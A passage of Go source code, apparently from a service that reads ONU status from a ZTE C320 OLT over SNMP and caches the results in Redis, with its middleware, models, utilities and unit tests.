355 | PageSize: pages.PageSize, // page size
356 | PageCount: pages.PageCount, // page count
357 | TotalRows: pages.TotalRows, // total rows
358 | Data: item, // data
359 | }
360 |
361 | utils.SendJSONResponse(w, http.StatusOK, responsePagination) // 200
362 | }
363 |
--------------------------------------------------------------------------------
/internal/middleware/cors.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "github.com/go-chi/cors"
5 | "net/http"
6 | )
7 |
8 | func CorsMiddleware() func(next http.Handler) http.Handler {
9 | return cors.Handler(cors.Options{
10 | AllowedOrigins: []string{"https://*", "http://*"},
11 | AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
12 | AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
13 | ExposedHeaders: []string{"Link"},
14 | AllowCredentials: false,
15 | MaxAge: 300, // Maximum value not ignored by any of major browsers
16 | })
17 | }
18 |
--------------------------------------------------------------------------------
/internal/middleware/logger.go:
--------------------------------------------------------------------------------
1 | package middleware
2 |
3 | import (
4 | "net/http"
5 | "runtime/debug"
6 | "time"
7 |
8 | "github.com/go-chi/chi/v5/middleware"
9 | "github.com/rs/zerolog"
10 | )
11 |
12 | func Logger(logger zerolog.Logger) func(next http.Handler) http.Handler {
13 | return func(next http.Handler) http.Handler {
14 | fn := func(w http.ResponseWriter, r *http.Request) {
15 | ww := middleware.NewWrapResponseWriter(w, r.ProtoMajor)
16 | startTime := time.Now()
17 |
18 | defer func() {
19 | endTime := time.Now() // End time
20 | elapsedTime := endTime.Sub(startTime) // Request time
21 |
22 | if r := recover(); r != nil && r != http.ErrAbortHandler {
23 | logger.Error().Interface("recover", r).Bytes("stack", debug.Stack()).Msg("incoming_request_panic")
24 | ww.WriteHeader(http.StatusInternalServerError)
25 | }
26 |
27 | logger.Info().Fields(map[string]interface{}{
28 | "time": startTime.Format(time.RFC3339), // Format waktu RFC3339
29 | "remote_addr": r.RemoteAddr,
30 | "path": r.URL.Path,
31 | "proto": r.Proto,
32 | "method": r.Method,
33 | "user_agent": r.UserAgent(),
34 | "status": http.StatusText(ww.Status()),
35 | "status_code": ww.Status(),
36 | "bytes_in": r.ContentLength,
37 | "bytes_out": ww.BytesWritten(),
38 | "elapsed_time": elapsedTime.String(),
39 | }).Msg("incoming_request")
40 | }()
41 |
42 | next.ServeHTTP(ww, r)
43 | }
44 |
45 | return http.HandlerFunc(fn)
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/internal/model/onu.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | type OltConfig struct {
4 | BaseOID string
5 | OnuIDNameOID string
6 | OnuTypeOID string
7 | OnuSerialNumberOID string
8 | OnuRxPowerOID string
9 | OnuTxPowerOID string
10 | OnuStatusOID string
11 | OnuIPAddressOID string
12 | OnuDescriptionOID string
13 | OnuLastOnlineOID string
14 | OnuLastOfflineOID string
15 | OnuLastOfflineReasonOID string
16 | OnuGponOpticalDistanceOID string
17 | }
18 |
19 | type ONUInfo struct {
20 | ID string `json:"onu_id"`
21 | Name string `json:"name"`
22 | }
23 |
24 | type ONUInfoPerBoard struct {
25 | Board int `json:"board"`
26 | PON int `json:"pon"`
27 | ID int `json:"onu_id"`
28 | Name string `json:"name"`
29 | OnuType string `json:"onu_type"`
30 | SerialNumber string `json:"serial_number"`
31 | RXPower string `json:"rx_power"`
32 | Status string `json:"status"`
33 | }
34 |
35 | type ONUCustomerInfo struct {
36 | Board int `json:"board"`
37 | PON int `json:"pon"`
38 | ID int `json:"onu_id"`
39 | Name string `json:"name"`
40 | Description string `json:"description"`
41 | OnuType string `json:"onu_type"`
42 | SerialNumber string `json:"serial_number"`
43 | RXPower string `json:"rx_power"`
44 | TXPower string `json:"tx_power"`
45 | Status string `json:"status"`
46 | IPAddress string `json:"ip_address"`
47 | LastOnline string `json:"last_online"`
48 | LastOffline string `json:"last_offline"`
49 | Uptime string `json:"uptime"`
50 | LastDownTimeDuration string `json:"last_down_time_duration"`
51 | LastOfflineReason string `json:"offline_reason"`
52 | GponOpticalDistance string `json:"gpon_optical_distance"`
53 | }
54 |
55 | type OnuID struct {
56 | Board int `json:"board"`
57 | PON int `json:"pon"`
58 | ID int `json:"onu_id"`
59 | }
60 |
61 | type OnuOnlyID struct {
62 | ID int `json:"onu_id"`
63 | }
64 |
65 | type SNMPWalkTask struct {
66 | BaseOID string
67 | TargetOID string
68 | BoardID int
69 | PON int
70 | }
71 |
72 | type OnuSerialNumber struct {
73 | Board int `json:"board"`
74 | PON int `json:"pon"`
75 | ID int `json:"onu_id"`
76 | SerialNumber string `json:"serial_number"`
77 | }
78 |
79 | type PaginationResult struct {
80 | OnuInformationList []ONUInfoPerBoard
81 | Count int
82 | }
83 |
--------------------------------------------------------------------------------
/internal/repository/redis.go:
--------------------------------------------------------------------------------
1 | package repository
2 |
3 | import (
4 | "context"
5 | "encoding/json"
6 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/model"
7 | "github.com/pkg/errors"
8 | "github.com/redis/go-redis/v9"
9 | "github.com/rs/zerolog/log"
10 | "time"
11 | )
12 |
13 | // OnuRedisRepositoryInterface is an interface that represent the auth's repository contract
14 | type OnuRedisRepositoryInterface interface {
15 | GetOnuIDCtx(ctx context.Context, key string) ([]model.OnuID, error)
16 | SetOnuIDCtx(ctx context.Context, key string, seconds int, onuId []model.OnuID) error
17 | DeleteOnuIDCtx(ctx context.Context, key string) error
18 | SaveONUInfoList(ctx context.Context, key string, seconds int, onuInfoList []model.ONUInfoPerBoard) error
19 | GetONUInfoList(ctx context.Context, key string) ([]model.ONUInfoPerBoard, error)
20 | GetOnlyOnuIDCtx(ctx context.Context, key string) ([]model.OnuOnlyID, error)
21 | SaveOnlyOnuIDCtx(ctx context.Context, key string, seconds int, onuId []model.OnuOnlyID) error
22 | }
23 |
24 | // Auth redis repository
25 | type onuRedisRepo struct {
26 | redisClient *redis.Client
27 | }
28 |
29 | // NewOnuRedisRepo will create an object that represent the auth repository
30 | func NewOnuRedisRepo(redisClient *redis.Client) OnuRedisRepositoryInterface {
31 | return &onuRedisRepo{redisClient}
32 | }
33 |
34 | // GetOnuIDCtx is a method to get onu id from redis
35 | func (r *onuRedisRepo) GetOnuIDCtx(ctx context.Context, key string) ([]model.OnuID, error) {
36 | onuBytes, err := r.redisClient.Get(ctx, key).Bytes()
37 | if err != nil {
38 | log.Error().Err(err).Msg("Failed to get onu id from redis")
39 | return nil, errors.Wrap(err, "onuRedisRepo.GetOnuIDCtx.redisClient.Get")
40 | }
41 |
42 | var onuId []model.OnuID
43 | if err := json.Unmarshal(onuBytes, &onuId); err != nil {
44 | log.Error().Err(err).Msg("Failed to unmarshal onu id")
45 | return nil, errors.Wrap(err, "onuRedisRepo.GetOnuIDCtx.json.Unmarshal")
46 | }
47 |
48 | return onuId, nil
49 | }
50 |
51 | // SetOnuIDCtx is a method to set onu id to redis
52 | func (r *onuRedisRepo) SetOnuIDCtx(ctx context.Context, key string, seconds int, onuId []model.OnuID) error {
53 | onuBytes, err := json.Marshal(onuId)
54 | if err != nil {
55 | log.Error().Err(err).Msg("Failed to marshal onu id")
56 | return errors.Wrap(err, "setRedisRepo.SetNewsCtx.json.Marshal")
57 | }
58 |
59 | if err := r.redisClient.Set(ctx, key, onuBytes, time.Second*time.Duration(seconds)).Err(); err != nil {
60 | log.Error().Err(err).Msg("Failed to set onu id to redis")
61 | return errors.Wrap(err, "onuRedisRepo.SetOnuIDCtx.redisClient.Set")
62 | }
63 |
64 | return nil
65 | }
66 |
67 | // DeleteOnuIDCtx is a method to delete onu id from redis
68 | func (r *onuRedisRepo) DeleteOnuIDCtx(ctx context.Context, key string) error {
69 | if err := r.redisClient.Del(ctx, key).Err(); err != nil {
70 | log.Error().Err(err).Msg("Failed to delete onu id from redis")
71 | return errors.Wrap(err, "onuRedisRepo.DeleteOnuIDCtx.redisClient.Del")
72 | }
73 |
74 | return nil
75 | }
76 |
77 | // SaveONUInfoList is a method to save onu info list to redis
78 | func (r *onuRedisRepo) SaveONUInfoList(
79 | ctx context.Context, key string, seconds int, onuInfoList []model.ONUInfoPerBoard,
80 | ) error {
81 | onuBytes, err := json.Marshal(onuInfoList)
82 | if err != nil {
83 | log.Error().Err(err).Msg("Failed to marshal onu info list")
84 | return errors.Wrap(err, "onuRedisRepo.SaveONUInfoList.json.Marshal")
85 | }
86 |
87 | if err := r.redisClient.Set(ctx, key, onuBytes, time.Second*time.Duration(seconds)).Err(); err != nil {
88 | log.Error().Err(err).Msg("Failed to set onu info list to redis")
89 | return errors.Wrap(err, "onuRedisRepo.SaveONUInfoList.redisClient.Set")
90 | }
91 |
92 | return nil
93 | }
94 |
95 | // GetONUInfoList is a method to get onu info list from redis
96 | func (r *onuRedisRepo) GetONUInfoList(ctx context.Context, key string) ([]model.ONUInfoPerBoard, error) {
97 | onuBytes, err := r.redisClient.Get(ctx, key).Bytes()
98 | if err != nil {
99 | log.Error().Err(err).Msg("Failed to get onu info list from redis")
100 | return nil, errors.Wrap(err, "onuRedisRepo.GetONUInfoList.redisClient.Get")
101 | }
102 |
103 | var onuInfoList []model.ONUInfoPerBoard
104 | if err := json.Unmarshal(onuBytes, &onuInfoList); err != nil {
105 | log.Error().Err(err).Msg("Failed to unmarshal onu info list")
106 | return nil, errors.Wrap(err, "onuRedisRepo.GetONUInfoList.json.Unmarshal")
107 | }
108 |
109 | return onuInfoList, nil
110 | }
111 |
112 | // GetOnlyOnuIDCtx is a method to get only onu id from redis
113 | func (r *onuRedisRepo) GetOnlyOnuIDCtx(ctx context.Context, key string) ([]model.OnuOnlyID, error) {
114 | onuBytes, err := r.redisClient.Get(ctx, key).Bytes()
115 | if err != nil {
116 | log.Error().Err(err).Msg("Failed to get onu id from redis")
117 | return nil, errors.Wrap(err, "onuRedisRepo.GetOnlyOnuIDCtx.redisClient.Get")
118 | }
119 |
120 | var onuId []model.OnuOnlyID
121 | if err := json.Unmarshal(onuBytes, &onuId); err != nil {
122 | log.Error().Err(err).Msg("Failed to unmarshal onu id")
123 | return nil, errors.Wrap(err, "onuRedisRepo.GetOnlyOnuIDCtx.json.Unmarshal")
124 | }
125 |
126 | return onuId, nil
127 | }
128 |
129 | // SaveOnlyOnuIDCtx is a method to save only onu id to redis
130 | func (r *onuRedisRepo) SaveOnlyOnuIDCtx(ctx context.Context, key string, seconds int, onuId []model.OnuOnlyID) error {
131 | onuBytes, err := json.Marshal(onuId)
132 | if err != nil {
133 | log.Error().Err(err).Msg("Failed to marshal onu id")
134 | return errors.Wrap(err, "onuRedisRepo.SaveOnlyOnuIDCtx.json.Marshal")
135 | }
136 |
137 | if err := r.redisClient.Set(ctx, key, onuBytes, time.Second*time.Duration(seconds)).Err(); err != nil {
138 | log.Error().Err(err).Msg("Failed to set onu id to redis")
139 | return errors.Wrap(err, "onuRedisRepo.SaveOnlyOnuIDCtx.redisClient.Set")
140 | }
141 |
142 | return nil
143 | }
144 |
--------------------------------------------------------------------------------
/internal/repository/snmp.go:
--------------------------------------------------------------------------------
1 | package repository
2 |
3 | import (
4 | "fmt"
5 | "time"
6 |
7 | "github.com/gosnmp/gosnmp"
8 | )
9 |
10 | // SnmpRepositoryInterface is an interface that represents the SNMP repository contract
11 | type SnmpRepositoryInterface interface {
12 | Get(oids []string) (result *gosnmp.SnmpPacket, err error) // Get SNMP data for the given OIDs
13 | Walk(oid string, walkFunc func(pdu gosnmp.SnmpPDU) error) error // Walk SNMP to get all OIDs under the given OID
14 | }
15 |
16 | // snmpRepository is a struct that implements SnmpRepositoryInterface
17 | type snmpRepository struct {
18 | target string // SNMP target IP address
19 | community string // SNMP community string
20 | port uint16 // SNMP port number
21 | }
22 |
23 | // NewPonRepository is a constructor function to create a new instance of snmpRepository
24 | func NewPonRepository(target string, community string, port uint16) SnmpRepositoryInterface {
25 | return &snmpRepository{
26 | target: target, // SNMP target IP address
27 | community: community, // SNMP community string
28 | port: port, // SNMP port number
29 | }
30 | }
31 |
32 | // buildSNMPInstance for creating a new SNMP instance
33 | func (r *snmpRepository) buildSNMPInstance() (*gosnmp.GoSNMP, error) {
34 | params := &gosnmp.GoSNMP{
35 | Target: r.target, // SNMP target IP address
36 | Port: r.port, // SNMP port number
37 | Community: r.community, // SNMP community string
38 | Version: gosnmp.Version2c, // SNMP version
39 | Timeout: time.Duration(3) * time.Second, // SNMP timeout
40 | Retries: 1, // Number of retries for SNMP requests
41 | }
42 |
43 | // Set logger to nil to disable logging
44 | if err := params.Connect(); err != nil {
45 | return nil, fmt.Errorf("SNMP Connect error: %w", err) // Error connecting to SNMP target
46 | }
47 | return params, nil // Return the SNMP instance
48 | }
49 |
50 | // Get to get SNMP data for the given OIDs
51 | func (r *snmpRepository) Get(oids []string) (*gosnmp.SnmpPacket, error) {
52 | snmp, err := r.buildSNMPInstance() // Create a new SNMP instance
53 | if err != nil {
54 | return nil, err
55 | }
56 | defer snmp.Conn.Close()
57 |
58 | result, err := snmp.Get(oids)
59 | if err != nil {
60 | return nil, fmt.Errorf("SNMP Get failed: %w", err)
61 | }
62 | return result, nil
63 | }
64 |
65 | // Walk for SNMP Walk to get all OIDs under the given OID
66 | func (r *snmpRepository) Walk(oid string, walkFunc func(pdu gosnmp.SnmpPDU) error) error {
67 | snmp, err := r.buildSNMPInstance()
68 | if err != nil {
69 | return err
70 | }
71 | defer snmp.Conn.Close()
72 |
73 | err = snmp.Walk(oid, walkFunc)
74 | if err != nil {
75 | return fmt.Errorf("SNMP Walk failed: %w", err)
76 | }
77 | return nil
78 | }
79 |
--------------------------------------------------------------------------------
/internal/utils/converter.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/binary"
5 | "errors"
6 | "fmt"
7 | "strconv"
8 | "time"
9 | )
10 |
11 | // ConvertStringToUint16 Convert String to Uint16
12 | func ConvertStringToUint16(str string) uint16 {
13 | // Convert string to uint16
14 | value, err := strconv.ParseUint(str, 10, 16)
15 | if err != nil {
16 | return 0
17 | }
18 |
19 | return uint16(value)
20 | }
21 |
22 | // ConvertStringToInteger Convert String to Integer
23 | func ConvertStringToInteger(str string) int {
24 | // Convert string to int
25 | value, err := strconv.Atoi(str)
26 | if err != nil {
27 | return 0
28 | }
29 |
30 | return value
31 | }
32 |
33 | // ConvertDurationToString Convert duration to human-readable format
34 | func ConvertDurationToString(duration time.Duration) string {
35 | days := int(duration / (24 * time.Hour))
36 | duration = duration % (24 * time.Hour)
37 | hours := int(duration / time.Hour)
38 | duration = duration % time.Hour
39 | minutes := int(duration / time.Minute)
40 | duration = duration % time.Minute
41 | seconds := int(duration / time.Second)
42 |
43 | return strconv.Itoa(days) + " days " + strconv.Itoa(hours) + " hours " + strconv.Itoa(minutes) + " minutes " + strconv.Itoa(seconds) + " seconds"
44 | }
45 |
46 | // ConvertByteArrayToDateTime Convert byte array to human-readable date time
47 | func ConvertByteArrayToDateTime(byteArray []byte) (string, error) {
48 |
49 | // Check if byteArray length is exactly 8
50 | if len(byteArray) != 8 {
51 | return "", errors.New("invalid byte array length: expected 8 bytes")
52 | }
53 |
54 | // Extract the year from the first two bytes
55 | year := int(binary.BigEndian.Uint16(byteArray[0:2]))
56 |
57 | // Extract other components
58 | month := time.Month(byteArray[2]) // Month
59 | day := int(byteArray[3]) // Day
60 | hour := int(byteArray[4]) // Hour
61 | minute := int(byteArray[5]) // Minute
62 | second := int(byteArray[6]) // Second
63 |
64 | // Validate extracted values
65 | if month < 1 || month > 12 {
66 | return "", fmt.Errorf("invalid month: %d", month)
67 | }
68 | if day < 1 || day > 31 {
69 | return "", fmt.Errorf("invalid day: %d", day)
70 | }
71 | if hour < 0 || hour > 23 {
72 | return "", fmt.Errorf("invalid hour: %d", hour)
73 | }
74 | if minute < 0 || minute > 59 {
75 | return "", fmt.Errorf("invalid minute: %d", minute)
76 | }
77 | if second < 0 || second > 59 {
78 | return "", fmt.Errorf("invalid second: %d", second)
79 | }
80 |
81 | // Create a time.Time object UTC
82 | datetime := time.Date(year, month, day, hour, minute, second, 0, time.UTC)
83 |
84 | // Convert to Unix epoch time (seconds since Jan 1, 1970)
85 | return datetime.Format("2006-01-02 15:04:05"), nil
86 | }
87 |
--------------------------------------------------------------------------------
/internal/utils/converter_test.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "github.com/stretchr/testify/assert"
5 | "testing"
6 | "time"
7 | )
8 |
9 | func TestConvertStringToUint16(t *testing.T) {
10 | // Test cases for ConvertStringToUint16
11 | testCases := []struct {
12 | input string
13 | expected uint16
14 | }{
15 | {"123", 123},
16 | {"65535", 65535},
17 | {"abc", 0}, // Invalid input, should return 0
18 | }
19 |
20 | for _, tc := range testCases {
21 | t.Run(tc.input, func(t *testing.T) {
22 | result := ConvertStringToUint16(tc.input)
23 | assert.Equal(t, tc.expected, result, "Expected and actual values should be equal.")
24 | })
25 | }
26 | }
27 |
28 | func TestConvertStringToInteger(t *testing.T) {
29 | // Test cases for ConvertStringToInteger
30 | testCases := []struct {
31 | input string
32 | expected int
33 | }{
34 | {"123", 123},
35 | {"-456", -456},
36 | {"abc", 0}, // Invalid input, should return 0
37 | }
38 |
39 | for _, tc := range testCases {
40 | t.Run(tc.input, func(t *testing.T) {
41 | result := ConvertStringToInteger(tc.input)
42 | assert.Equal(t, tc.expected, result, "Expected and actual values should be equal.")
43 | })
44 | }
45 | }
46 |
47 | func TestConvertDurationToString(t *testing.T) {
48 | tests := []struct {
49 | name string
50 | duration time.Duration
51 | expected string
52 | }{
53 | {
54 | name: "Test for 0 duration",
55 | duration: 0,
56 | expected: "0 days 0 hours 0 minutes 0 seconds",
57 | },
58 | {
59 | name: "Test for exact seconds",
60 | duration: 5 * time.Second,
61 | expected: "0 days 0 hours 0 minutes 5 seconds",
62 | },
63 | {
64 | name: "Test for exact minutes",
65 | duration: 3 * time.Minute,
66 | expected: "0 days 0 hours 3 minutes 0 seconds",
67 | },
68 | {
69 | name: "Test for hours and minutes",
70 | duration: 2*time.Hour + 15*time.Minute,
71 | expected: "0 days 2 hours 15 minutes 0 seconds",
72 | },
73 | {
74 | name: "Test for days, hours, minutes, and seconds",
75 | duration: 1*24*time.Hour + 4*time.Hour + 23*time.Minute + 45*time.Second,
76 | expected: "1 days 4 hours 23 minutes 45 seconds",
77 | },
78 | {
79 | name: "Test for multiple days",
80 | duration: 3*24*time.Hour + 6*time.Hour + 30*time.Minute + 10*time.Second,
81 | expected: "3 days 6 hours 30 minutes 10 seconds",
82 | },
83 | }
84 |
85 | for _, tt := range tests {
86 | t.Run(tt.name, func(t *testing.T) {
87 | result := ConvertDurationToString(tt.duration)
88 | if result != tt.expected {
89 | t.Errorf("ConvertDurationToString(%v) = %v; want %v", tt.duration, result, tt.expected)
90 | }
91 | })
92 | }
93 | }
94 |
95 | // TestConvertByteArrayToDateTime tests the ConvertByteArrayToDateTime function.
96 | func TestConvertByteArrayToDateTime(t *testing.T) {
97 | tests := []struct {
98 | name string
99 | byteArray []byte
100 | expected string
101 | expectedError bool
102 | }{
103 | {
104 | name: "Valid date and time",
105 | byteArray: []byte{
106 | 0x07, 0xe4, 0x08, 0x15, 0x0a, 0x1e, 0x00, 0x00,
107 | }, // Year 2020, Month 8, Day 21, Hour 10, Minute 30, Second 00
108 | expected: "2020-08-21 10:30:00",
109 | expectedError: false,
110 | },
111 | {
112 | name: "Invalid month",
113 | byteArray: []byte{0x07, 0xe4, 0x13, 0x15, 0x0a, 0x1e, 0x00, 0x00},
114 | expected: "",
115 | expectedError: true,
116 | },
117 | {
118 | name: "Invalid day",
119 | byteArray: []byte{0x07, 0xe4, 0x08, 0x32, 0x0a, 0x1e, 0x00, 0x00},
120 | expected: "",
121 | expectedError: true,
122 | },
123 | {
124 | name: "Invalid hour",
125 | byteArray: []byte{0x07, 0xe4, 0x08, 0x15, 0x18, 0x1e, 0x00, 0x00},
126 | expected: "",
127 | expectedError: true,
128 | },
129 | {
130 | name: "Invalid minute",
131 | byteArray: []byte{0x07, 0xe4, 0x08, 0x15, 0x0a, 0x3c, 0x00, 0x00},
132 | expected: "",
133 | expectedError: true,
134 | },
135 | {
136 | name: "Invalid second",
137 | byteArray: []byte{0x07, 0xe4, 0x08, 0x15, 0x0a, 0x1e, 0x3c, 0x00},
138 | expected: "",
139 | expectedError: true,
140 | },
141 | {
142 | name: "Invalid byte array length",
143 | byteArray: []byte{0x07, 0xe4, 0x08, 0x15, 0x0a, 0x1e, 0x00},
144 | expected: "",
145 | expectedError: true,
146 | },
147 | {
148 | name: "Extra byte",
149 | byteArray: []byte{0x07, 0xe4, 0x08, 0x15, 0x0a, 0x1e, 0x00, 0x00, 0x01},
150 | expected: "",
151 | expectedError: true,
152 | },
153 | }
154 |
155 | for _, tt := range tests {
156 | t.Run(tt.name, func(t *testing.T) {
157 | result, err := ConvertByteArrayToDateTime(tt.byteArray)
158 | if (err != nil) != tt.expectedError {
159 | t.Errorf("ConvertByteArrayToDateTime() error = %v, expectedError %v", err, tt.expectedError)
160 | return
161 | }
162 | if result != tt.expected {
163 | t.Errorf("ConvertByteArrayToDateTime() = %v, expected %v", result, tt.expected)
164 | }
165 | })
166 | }
167 | }
168 |
--------------------------------------------------------------------------------
/internal/utils/error.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/json"
5 | "net/http"
6 | )
7 |
8 | func SendJSONResponse(w http.ResponseWriter, statusCode int, response interface{}) {
9 | w.Header().Set("Content-Type", "application/json")
10 | w.WriteHeader(statusCode)
11 | err := json.NewEncoder(w).Encode(response)
12 | if err != nil {
13 | return
14 | }
15 | }
16 |
17 | func ErrorBadRequest(w http.ResponseWriter, err error) {
18 | webResponse := ErrorResponse{
19 | Code: http.StatusBadRequest,
20 | Status: "Bad Request",
21 | Message: err.Error(),
22 | }
23 | SendJSONResponse(w, http.StatusBadRequest, webResponse)
24 | }
25 |
26 | func ErrorInternalServerError(w http.ResponseWriter, err error) {
27 | webResponse := ErrorResponse{
28 | Code: http.StatusInternalServerError,
29 | Status: "Internal Server Error",
30 | Message: err.Error(),
31 | }
32 | SendJSONResponse(w, http.StatusInternalServerError, webResponse)
33 | }
34 |
35 | func ErrorNotFound(w http.ResponseWriter, err error) {
36 | webResponse := ErrorResponse{
37 | Code: http.StatusNotFound,
38 | Status: "Not Found",
39 | Message: err.Error(),
40 | }
41 | SendJSONResponse(w, http.StatusNotFound, webResponse)
42 | }
43 |
--------------------------------------------------------------------------------
/internal/utils/error_test.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/json"
5 | "errors"
6 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/model"
7 | "net/http"
8 | "net/http/httptest"
9 | "testing"
10 | )
11 |
12 | func TestSendJSONResponse(t *testing.T) {
13 | // Inisialisasi ResponseWriter dan Request
14 | rr := httptest.NewRecorder()
15 |
16 | // Contoh respons yang ingin Anda kirim
17 | response := model.OnuID{
18 | Board: 2,
19 | PON: 8,
20 | ID: 1,
21 | }
22 |
23 | // Panggil fungsi SendJSONResponse
24 | SendJSONResponse(rr, http.StatusOK, response)
25 |
26 | // Periksa kode status respons
27 | if status := rr.Code; status != http.StatusOK {
28 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusOK)
29 | }
30 |
31 | // Periksa tipe konten
32 | expectedContentType := "application/json"
33 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
34 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
35 | }
36 |
37 | // Periksa Body Response
38 | var decodedResponse model.OnuID
39 | err := json.NewDecoder(rr.Body).Decode(&decodedResponse)
40 | if err != nil {
41 | t.Errorf("Gagal mendekode respons JSON: %v", err)
42 | }
43 |
44 | // Uji kasus di mana encoding JSON gagal
45 | // Inisialisasi ResponseWriter yang akan selalu gagal saat encoding JSON
46 | rrError := httptest.NewRecorder()
47 | // Sebagai contoh, gunakan objek yang tidak dapat di-encode sebagai respons
48 | errorResponse := make(chan int) // Ini akan gagal saat encoding JSON
49 | SendJSONResponse(rrError, http.StatusOK, errorResponse)
50 |
51 | // Periksa kode status respons
52 | if status := rrError.Code; status != http.StatusOK {
53 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusOK)
54 | }
55 |
56 | // Periksa tipe konten
57 | expectedContentTypeError := "application/json"
58 | if contentType := rrError.Header().Get("Content-Type"); contentType != expectedContentTypeError {
59 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentTypeError)
60 | }
61 |
62 | // Pastikan bahwa response body kosong karena encoding JSON gagal
63 | if body := rrError.Body.String(); body != "" {
64 | t.Errorf("Response body harus kosong jika encoding JSON gagal: got %v", body)
65 | }
66 |
67 | }
68 |
69 | func TestErrorBadRequest(t *testing.T) {
70 | rr := httptest.NewRecorder()
71 | err := errors.New("Bad Request Error")
72 | ErrorBadRequest(rr, err)
73 |
74 | // Periksa kode status respons
75 | if status := rr.Code; status != http.StatusBadRequest {
76 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusBadRequest)
77 | }
78 |
79 | // Periksa tipe konten
80 | expectedContentType := "application/json"
81 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
82 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
83 | }
84 |
85 | // Periksa pesan kesalahan dalam respons JSON
86 | var response ErrorResponse
87 | if err := json.NewDecoder(rr.Body).Decode(&response); err != nil {
88 | t.Errorf("Gagal mendecode respons JSON: %v", err)
89 | }
90 |
91 | if response.Code != http.StatusBadRequest || response.Status != "Bad Request" || response.Message != err.Error() {
92 | t.Errorf("Respons JSON tidak sesuai")
93 | }
94 | }
95 |
96 | func TestErrorInternalServerError(t *testing.T) {
97 | rr := httptest.NewRecorder()
98 | err := errors.New("Internal Server Error")
99 | ErrorInternalServerError(rr, err)
100 |
101 | // Periksa kode status respons
102 | if status := rr.Code; status != http.StatusInternalServerError {
103 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusInternalServerError)
104 | }
105 |
106 | // Periksa tipe konten
107 | expectedContentType := "application/json"
108 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
109 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
110 | }
111 |
112 | // Periksa pesan kesalahan dalam respons JSON
113 | var response ErrorResponse
114 | if err := json.NewDecoder(rr.Body).Decode(&response); err != nil {
115 | t.Errorf("Gagal mendecode respons JSON: %v", err)
116 | }
117 |
118 | if response.Code != http.StatusInternalServerError || response.Status != "Internal Server Error" || response.Message != err.Error() {
119 | t.Errorf("Respons JSON tidak sesuai")
120 | }
121 | }
122 |
123 | func TestErrorNotFound(t *testing.T) {
124 | rr := httptest.NewRecorder()
125 | err := errors.New("Not Found Error")
126 | ErrorNotFound(rr, err)
127 |
128 | // Periksa kode status respons
129 | if status := rr.Code; status != http.StatusNotFound {
130 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusNotFound)
131 | }
132 |
133 | // Periksa tipe konten
134 | expectedContentType := "application/json"
135 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
136 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
137 | }
138 |
139 | // Periksa pesan kesalahan dalam respons JSON
140 | var response ErrorResponse
141 | if err := json.NewDecoder(rr.Body).Decode(&response); err != nil {
142 | t.Errorf("Gagal mendecode respons JSON: %v", err)
143 | }
144 |
145 | if response.Code != http.StatusNotFound || response.Status != "Not Found" || response.Message != err.Error() {
146 | t.Errorf("Respons JSON tidak sesuai")
147 | }
148 | }
149 |
--------------------------------------------------------------------------------
/internal/utils/extractor.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "strconv"
6 | "strings"
7 | )
8 |
9 | func ExtractONUID(oid string) string {
10 | // Split the OID name and take the last component
11 | parts := strings.Split(oid, ".")
12 | if len(parts) > 0 {
13 | // Check if the last component is a valid number
14 | lastComponent := parts[len(parts)-1]
15 | if _, err := strconv.Atoi(lastComponent); err == nil {
16 | return lastComponent
17 | }
18 | }
19 | return "" // Return an empty string if the OID is invalid or empty (default value)
20 | }
21 |
22 | func ExtractIDOnuID(oid interface{}) int {
23 | if oid == nil {
24 | return 0
25 | }
26 |
27 | switch v := oid.(type) {
28 | case string:
29 | parts := strings.Split(v, ".")
30 | if len(parts) > 0 {
31 | lastPart := parts[len(parts)-1]
32 | id, err := strconv.Atoi(lastPart)
33 | if err == nil {
34 | return id
35 | }
36 | }
37 | return 0
38 | default:
39 | return 0
40 | }
41 | }
42 |
43 | func ExtractName(oidValue interface{}) string {
44 | switch v := oidValue.(type) {
45 | case string:
46 | // Data is string, return it
47 | return v
48 | case []byte:
49 | // Data is byte slice, convert to string
50 | return string(v)
51 | default:
52 | // Data type is not recognized, you can handle this case according to your needs.
53 | return "Unknown" // Return "Unknown" if the OID is invalid or empty
54 | }
55 | }
56 |
57 | // ExtractSerialNumber function is used to extract serial number from OID value
58 | func ExtractSerialNumber(oidValue interface{}) string {
59 | switch v := oidValue.(type) {
60 | case string:
61 | // If the string starts with "1,", remove it from the string
62 | if strings.HasPrefix(v, "1,") {
63 | return v[2:]
64 | }
65 | return v
66 | case []byte:
67 | // Convert byte slice to string
68 | strValue := string(v)
69 | if strings.HasPrefix(strValue, "1,") {
70 | return strValue[2:]
71 | }
72 | return strValue // Data is byte slice, convert to string
73 | default:
74 | // Data type is not recognized, you can handle this case according to your needs.
75 | return "" // Return 0 if the OID is invalid or empty (default value)
76 | }
77 | }
78 |
79 | func ConvertAndMultiply(pduValue interface{}) (string, error) {
80 | // Type assert pduValue to an integer type
81 | intValue, ok := pduValue.(int)
